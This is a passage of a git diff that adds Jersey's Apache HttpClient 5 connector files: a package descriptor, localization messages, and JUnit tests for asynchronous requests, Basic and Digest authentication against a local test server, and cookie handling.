a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/package-info.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/package-info.java new file mode 100644 index 00000000000..0b05d4b425f --- /dev/null +++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/package-info.java @@ -0,0 +1,21 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the + * Apache Http Client. + */ +package org.glassfish.jersey.apache5.connector; diff --git a/connectors/apache5-connector/src/main/resources/org/glassfish/jersey/apache5/connector/localization.properties b/connectors/apache5-connector/src/main/resources/org/glassfish/jersey/apache5/connector/localization.properties new file mode 100644 index 00000000000..1f6e4a6f9b2 --- /dev/null +++ b/connectors/apache5-connector/src/main/resources/org/glassfish/jersey/apache5/connector/localization.properties @@ -0,0 +1,23 @@ +# +# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +error.buffering.entity=Error buffering the entity. +error.reading.httpentity.stream=Error reading InputStream from HttpEntity: "{0}" +failed.to.stop.client=Failed to stop the client. +# {0} - property name, e.g. jersey.config.client.httpclient.connectionManager; {1}, {2} - full class name +ignoring.value.of.property=Ignoring value of property "{0}" ("{1}") - not instance of "{2}". +invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a ApacheConnectorProvider. diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/AsyncTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/AsyncTest.java new file mode 100644 index 00000000000..249ad823205 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/AsyncTest.java @@ -0,0 +1,242 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.util.concurrent.Callable; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.hamcrest.Matchers; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Asynchronous connector test. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + */ +public class AsyncTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName()); + private static final String PATH = "async"; + + /** + * Asynchronous test resource. + */ + @Path(PATH) + public static class AsyncResource { + /** + * Typical long-running operation duration. + */ + public static final long OPERATION_DURATION = 1000; + + /** + * Long-running asynchronous post. + * + * @param asyncResponse async response. + * @param id post request id (received as request payload). + */ + @POST + public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) { + LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName()); + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep() + try { + Thread.sleep(OPERATION_DURATION); + return "DONE-" + id; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED-" + id; + } finally { + LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName()); + } + } + }, "async-post-runner-" + id).start(); + } + + /** + * Long-running async get request that times out. + * + * @param asyncResponse async response. + */ + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName()); + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + } + }); + asyncResponse.setTimeout(1, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // very expensive operation that typically finishes within 1 second but can take up to 5 seconds, + // simulated using sleep() + try { + Thread.sleep(5 * OPERATION_DURATION); + return "DONE"; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED"; + } finally { + LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName()); + } + } + }).start(); + } + + } + + @Override + protected Application configure() { + return new ResourceConfig(AsyncResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + config.connectorProvider(new Apache5ConnectorProvider()); + } + + /** + * Test asynchronous POST. + * + * Send 3 async POST requests and wait to receive the responses. Check the response content and + * assert that the operation did not take more than twice as long as a single long operation duration + * (this ensures async request execution). + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncPost() throws Exception { + final long tic = System.currentTimeMillis(); + + // Submit requests asynchronously. + final Future rf1 = target(PATH).request().async().post(Entity.text("1")); + final Future rf2 = target(PATH).request().async().post(Entity.text("2")); + final Future rf3 = target(PATH).request().async().post(Entity.text("3")); + // get() waits for the response + + // workaround for AHC default connection manager limitation of + // only 2 open connections per host that may intermittently block + // the test + final CountDownLatch latch = new CountDownLatch(3); + ExecutorService executor = Executors.newFixedThreadPool(3); + + final Future r1 = executor.submit(new Callable() { + @Override + public String call() throws Exception { + try { + return rf1.get().readEntity(String.class); + } finally { + latch.countDown(); + } + } + }); + final Future r2 = executor.submit(new Callable() { + @Override + public String call() throws Exception { + try { + return rf2.get().readEntity(String.class); + } finally { + latch.countDown(); + } + } + }); + final Future r3 = executor.submit(new Callable() { + @Override + public String call() throws Exception { + try { + return rf3.get().readEntity(String.class); + } finally { + latch.countDown(); + } + } + }); + + assertTrue(latch.await(5 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS), "Waiting for results has timed out."); + final long toc = System.currentTimeMillis(); + + assertEquals("DONE-1", r1.get()); + assertEquals("DONE-2", r2.get()); + assertEquals("DONE-3", r3.get()); + + final int asyncTimeoutMultiplier = getAsyncTimeoutMultiplier(); + LOGGER.info("Using async timeout multiplier: " + asyncTimeoutMultiplier); + assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(4 * AsyncResource.OPERATION_DURATION + * asyncTimeoutMultiplier)); + + } + + /** + * Test accessing an operation that times out on the server. + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncGetWithTimeout() throws Exception { + final Future responseFuture = target(PATH).path("timeout").request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/AuthTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/AuthTest.java new file mode 100644 index 00000000000..130a2b30bbe --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/AuthTest.java @@ -0,0 +1,595 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriInfo; + +import jakarta.inject.Singleton; + +import org.apache.hc.client5.http.auth.AuthScope; +import org.apache.hc.client5.http.auth.CredentialsStore; +import org.apache.hc.client5.http.auth.UsernamePasswordCredentials; +import org.apache.hc.client5.http.impl.auth.BasicCredentialsProvider; +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature; +import org.glassfish.jersey.client.authentication.ResponseAuthenticationException; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class AuthTest extends JerseyTest { + + @Override + protected Application configure() { + return new ResourceConfig(PreemptiveAuthResource.class, AuthResource.class); + } + + @Path("/") + public static class PreemptiveAuthResource { + + @GET + public String get(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + assertNotNull(value); + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + assertNotNull(value); + return e; + } + } + + @Test + public void testPreemptiveAuth() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider) + .property(Apache5ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, true); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + + WebTarget r = client.target(getBaseUri()); + assertEquals("GET", r.request().get(String.class)); + } + + @Test + public void testPreemptiveAuthPost() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider) + .property(Apache5ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, true); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + + WebTarget r = client.target(getBaseUri()); + assertEquals("POST", r.request().post(Entity.text("POST"), String.class)); + } + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + int queryParamsBasicRequestCount = 0; + int queryParamsDigestRequestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @GET + @Path("basicAndDigest") + public String getBasicAndDigest(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"") + .header("WWW-Authenticate", "Digest realm=\"WallyWorld\"") + .entity("Forbidden").build()); + } else if (value.startsWith("Basic")) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"") + .header("WWW-Authenticate", "Digest realm=\"WallyWorld\"") + .entity("Digest authentication expected").build()); + } + + return "GET"; + } + + @GET + @Path("noauth") + public String get() { + return "GET"; + } + + @GET + @Path("digest") + public String getDigest(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Digest realm=\"WallyWorld\"") + .entity("Forbidden").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @GET + @Path("content") + public String getWithContent(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"") + .entity("Forbidden").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("contentDigestAuth") + public String getWithContentDigestAuth(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Digest nonce=\"1234\"") + .entity("Forbidden").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("queryParamsBasic") + public String getQueryParamsBasic(@Context HttpHeaders h, @Context UriInfo uriDetails) { + queryParamsBasicRequestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + return "GET " + queryParamsBasicRequestCount; + } + + @GET + @Path("queryParamsDigest") + public String getQueryParamsDigest(@Context HttpHeaders h, @Context UriInfo uriDetails) { + queryParamsDigestRequestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Digest realm=\"WallyWorld\"").build()); + } + return "GET " + queryParamsDigestRequestCount; + } + } + + @Test + public void testAuthGet() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()).path("test"); + + assertEquals("GET", r.request().get(String.class)); + } + + @Test + public void testAuthGetWithRequestCredentialsProvider() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()).path("test"); + + assertEquals("GET", + r.request() + .property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider) + .get(String.class)); + } + + @Test + public void testAuthGetWithClientFilter() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.basic("name", "password")); + WebTarget r = client.target(getBaseUri()).path("test/filter"); + + assertEquals("GET", r.request().get(String.class)); + } + + @Test + public void testAuthGetWithBasicAndDigestFilter() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.universal("name", "password")); + WebTarget r = client.target(getBaseUri()).path("test/basicAndDigest"); + + assertEquals("GET", r.request().get(String.class)); + } + + @Test + public void testAuthGetBasicNoChallenge() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.basicBuilder().build()); + WebTarget r = client.target(getBaseUri()).path("test/noauth"); + + assertEquals("GET", r.request().get(String.class)); + } + + @Test + public void testAuthGetWithDigestFilter() { + ClientConfig cc = new ClientConfig(); + PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(); + cc.connectorProvider(new Apache5ConnectorProvider()); + cc.property(Apache5ClientProperties.CONNECTION_MANAGER, cm); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.universal("name", "password")); + WebTarget r = client.target(getBaseUri()).path("test/digest"); + + assertEquals("GET", r.request().get(String.class)); + + // Verify the connection that was used for the request is available for reuse + // and no connections are leased + assertEquals(cm.getTotalStats().getAvailable(), 1); + assertEquals(cm.getTotalStats().getLeased(), 0); + } + + @Test + @Disabled("JERSEY-1750: Cannot retry request with a non-repeatable request entity. How to buffer the entity?" + + " Allow repeatable write in jersey?") + public void testAuthPost() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()).path("test"); + + assertEquals("POST", r.request().post(Entity.text("POST"), String.class)); + } + + @Test + public void testAuthPostWithClientFilter() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.basic("name", "password")); + WebTarget r = client.target(getBaseUri()).path("test/filter"); + + assertEquals("POST", r.request().post(Entity.text("POST"), String.class)); + } + + @Test + public void testAuthDelete() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()).path("test"); + + Response response = r.request().delete(); + assertEquals(response.getStatus(), 204); + } + + @Test + public void testAuthDeleteWithClientFilter() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.basic("name", "password")); + WebTarget r = client.target(getBaseUri()).path("test/filter"); + + Response response = r.request().delete(); + assertEquals(204, response.getStatus()); + } + + @Test + public void testAuthInteractiveGet() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + + WebTarget r = client.target(getBaseUri()).path("test"); + + assertEquals("GET", r.request().get(String.class)); + } + + @Test + @Disabled("JERSEY-1750: Cannot retry request with a non-repeatable request entity. How to buffer the entity?" + + " Allow repeatable write in jersey?") + public void testAuthInteractivePost() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CREDENTIALS_PROVIDER, credentialsProvider); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()).path("test"); + + assertEquals("POST", r.request().post(Entity.text("POST"), String.class)); + } + + @Test + public void testAuthGetWithBasicFilterAndContent() { + ClientConfig cc = new ClientConfig(); + PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(); + cc.connectorProvider(new Apache5ConnectorProvider()); + cc.property(Apache5ClientProperties.CONNECTION_MANAGER, cm); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.universalBuilder().build()); + WebTarget r = client.target(getBaseUri()).path("test/content"); + + try { + assertEquals("GET", r.request().get(String.class)); + fail(); + } catch (ResponseAuthenticationException ex) { + // expected + } + + // Verify the connection that was used for the request is available for reuse + // and no connections are leased + assertEquals(cm.getTotalStats().getAvailable(), 1); + assertEquals(cm.getTotalStats().getLeased(), 0); + } + + @Test + public void testAuthGetWithDigestFilterAndContent() { + ClientConfig cc = new ClientConfig(); + PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(); + cc.connectorProvider(new Apache5ConnectorProvider()); + cc.property(Apache5ClientProperties.CONNECTION_MANAGER, cm); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.universalBuilder().build()); + WebTarget r = client.target(getBaseUri()).path("test/contentDigestAuth"); + + try { + assertEquals("GET", r.request().get(String.class)); + fail(); + } catch (ResponseAuthenticationException ex) { + // expected + } + + // Verify the connection that was used for the request is available for reuse + // and no connections are leased + assertEquals(cm.getTotalStats().getAvailable(), 1); + assertEquals(cm.getTotalStats().getLeased(), 0); + } + + @Test + public void testAuthGetQueryParamsBasic() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.universal("name", "password")); + + WebTarget r = client.target(getBaseUri()).path("test/queryParamsBasic"); + assertEquals("GET 2", r.request().get(String.class)); + + r = client.target(getBaseUri()) + .path("test/queryParamsBasic") + .queryParam("param1", "value1") + .queryParam("param2", "value2"); + assertEquals("GET 3", r.request().get(String.class)); + + } + + @Test + public void testAuthGetQueryParamsDigest() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + client.register(HttpAuthenticationFeature.universal("name", "password")); + + WebTarget r = client.target(getBaseUri()).path("test/queryParamsDigest"); + assertEquals("GET 2", r.request().get(String.class)); + + r = client.target(getBaseUri()) + .path("test/queryParamsDigest") + .queryParam("param1", "value1") + .queryParam("param2", "value2"); + assertEquals("GET 3", r.request().get(String.class)); + } + + @Test + public void testAuthGetWithConfigurator() { + CredentialsStore credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + new AuthScope("localhost", getPort()), + new UsernamePasswordCredentials("name", "password".toCharArray()) + ); + Apache5HttpClientBuilderConfigurator apache5HttpClientBuilderConfigurator = (httpClientBuilder) -> { + return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider); + }; + + ClientConfig cc = new ClientConfig(); + cc.register(apache5HttpClientBuilderConfigurator); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()).path("test"); + + assertEquals("GET", r.request().get(String.class)); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/CookieTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/CookieTest.java new file mode 100644 index 00000000000..a92271e80e9 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/CookieTest.java @@ -0,0 +1,111 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class CookieTest extends JerseyTest { + + @Path("/") + public static class CookieResource { + + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } + } + + @Override + protected Application configure() { + return new ResourceConfig(CookieResource.class); + } + + @Test + public void testCookieResource() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + } + + @Test + public void testDisabledCookies() { + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.DISABLE_COOKIES, true); + cc.connectorProvider(new Apache5ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + final Apache5Connector connector = (Apache5Connector) client.getConfiguration().getConnector(); + if (connector.getCookieStore() != null) { + 